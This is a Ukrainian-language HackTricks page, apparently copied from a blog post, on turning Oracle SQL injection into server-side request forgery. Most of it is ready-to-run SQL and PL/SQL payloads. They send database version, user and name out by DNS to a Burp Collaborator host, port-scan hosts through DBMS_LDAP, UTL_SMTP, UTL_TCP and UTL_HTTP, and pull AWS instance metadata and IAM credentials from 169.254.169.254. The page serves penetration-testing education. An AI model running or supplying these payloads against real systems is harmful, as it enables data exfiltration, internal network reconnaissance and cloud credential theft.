Oracle injection

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Надайте цьому посту копію з машини часу видаленого посту з https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/.

SSRF

Використання Oracle для виконання запитів Out of Band HTTP та DNS добре задокументовано, але як засіб виведення даних SQL в ін'єкціях. Ми завжди можемо модифікувати ці техніки/функції для виконання інших SSRF/XSPA.

Встановлення Oracle може бути дуже болісним, особливо якщо ви хочете швидко налаштувати екземпляр для спроби виконання команд. Мій друг та колега з Appsecco, Abhisek Datta, направив мене на https://github.com/MaksymBilenko/docker-oracle-12c, що дозволило мені налаштувати екземпляр на машині AWS Ubuntu t2.large та Docker.

Я виконав команду docker з прапорцем --network="host", щоб я міг імітувати Oracle як встановлення на місці з повним мережевим доступом, на протязі цього блогпосту.

docker run -d --network="host" quay.io/maksymbilenko/oracle-12c

Пакети Oracle, які підтримують URL або вказання імені хоста/номера порту

Для пошуку будь-яких пакетів та функцій, які підтримують вказівку хоста та порту, я виконав пошук Google у Онлайн-документації Oracle Database. Конкретно,

site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"

Пошук повернув наступні результати (не всі можуть бути використані для виконання вихідної мережі)

  • DBMS_NETWORK_ACL_ADMIN

  • UTL_SMTP

  • DBMS_XDB

  • DBMS_SCHEDULER

  • DBMS_XDB_CONFIG

  • DBMS_AQ

  • UTL_MAIL

  • DBMS_AQELM

  • DBMS_NETWORK_ACL_UTILITY

  • DBMS_MGD_ID_UTL

  • UTL_TCP

  • DBMS_MGWADM

  • DBMS_STREAMS_ADM

  • UTL_HTTP

Цей грубий пошук очевидно пропускає пакети, такі як DBMS_LDAP (який дозволяє передавати ім'я хоста та номер порту), оскільки сторінка документації просто вказує вас на інше місце. Таким чином, можуть існувати інші пакети Oracle, які можна використовувати для виконання вихідних запитів, які я можу пропустити.

У будь-якому випадку, давайте розглянемо деякі з пакетів, які ми виявили та перерахували вище.

DBMS_LDAP.INIT

Пакет DBMS_LDAP дозволяє отримувати доступ до даних з LDAP-серверів. Функція init() ініціалізує сеанс з LDAP-сервером та приймає ім'я хоста та номер порту як аргумент.

Цю функцію раніше документували для показу витоку даних через DNS, як показано нижче

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;

Однак, оскільки функція приймає хост та номер порту як аргументи, ви можете використати це для роботи як сканер портів.

Ось кілька прикладів

SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;

Помилка ORA-31203: DBMS_LDAP: PL/SQL - Init Failed. показує, що порт закритий, тоді як значення сеансу вказує на те, що порт відкритий.

UTL_SMTP

Пакет UTL_SMTP призначений для відправлення електронних листів через SMTP. Приклад, наведений на сайті документації Oracle, показує, як ви можете використовувати цей пакет для відправлення електронної пошти. Однак для нас цікава можливість вказати хост та порт.

Нижче показаний приклад з функцією UTL_SMTP.OPEN_CONNECTION, з таймаутом 2 секунди.

DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;

Помилка ORA-29276: тайм-аут передачі показує, що порт відкритий, але з'єднання SMTP не було встановлено, тоді як помилка ORA-29278: тимчасова помилка SMTP: 421 Служба недоступна показує, що порт закритий.

UTL_TCP

Пакет UTL_TCP та його процедури та функції дозволяють комунікацію на основі TCP/IP з послугами. Якщо програмувати для конкретної служби, цей пакет може легко стати шляхом у мережу або виконувати повні запити на сервер, оскільки всі аспекти з'єднання TCP/IP можна контролювати.

Приклад на сайті документації Oracle показує, як ви можете використовувати цей пакет для встановлення прямого з'єднання TCP для отримання веб-сторінки. Ми можемо спростити це ще більше і використовувати його для виконання запитів до екземпляра метаданих, наприклад, або до довільної служби TCP/IP.

set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;

Цей пакет можна використовувати для запиту служби метаданих екземпляра всіх хмарних постачальників, оскільки тип методу та додаткові заголовки можуть бути передані в межах запиту TCP.

UTL_HTTP та веб-запити

Можливо, найпоширеніша та широко документована техніка в кожному посібнику з Oracle SQL Injection Out of Band - це пакет UTL_HTTP. Цей пакет визначений документацією як - Пакет UTL_HTTP здійснює виклики протоколу передачі гіпертексту (HTTP) з SQL та PL/SQL. Ви можете використовувати його для доступу до даних в Інтернеті через HTTP.

select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;

Ви також можете використовувати це для виконання деякого примітивного сканування портів за допомогою запитів такого типу:

select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;

Помилка ORA-12541: TNS:no listener або TNS:operation timed out свідчить про те, що TCP-порт закритий, тоді як помилка ORA-29263: HTTP protocol error або дані свідчать про те, що порт відкритий.

Ще один пакет, який я використовував у минулому з різним успіхом, - це GETCLOB() метод абстрактного типу Oracle HTTPURITYPE, який дозволяє взаємодіяти з URL та надає підтримку протоколу HTTP. Метод GETCLOB() використовується для отримання відповіді GET з URL у вигляді типу даних CLOB.[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated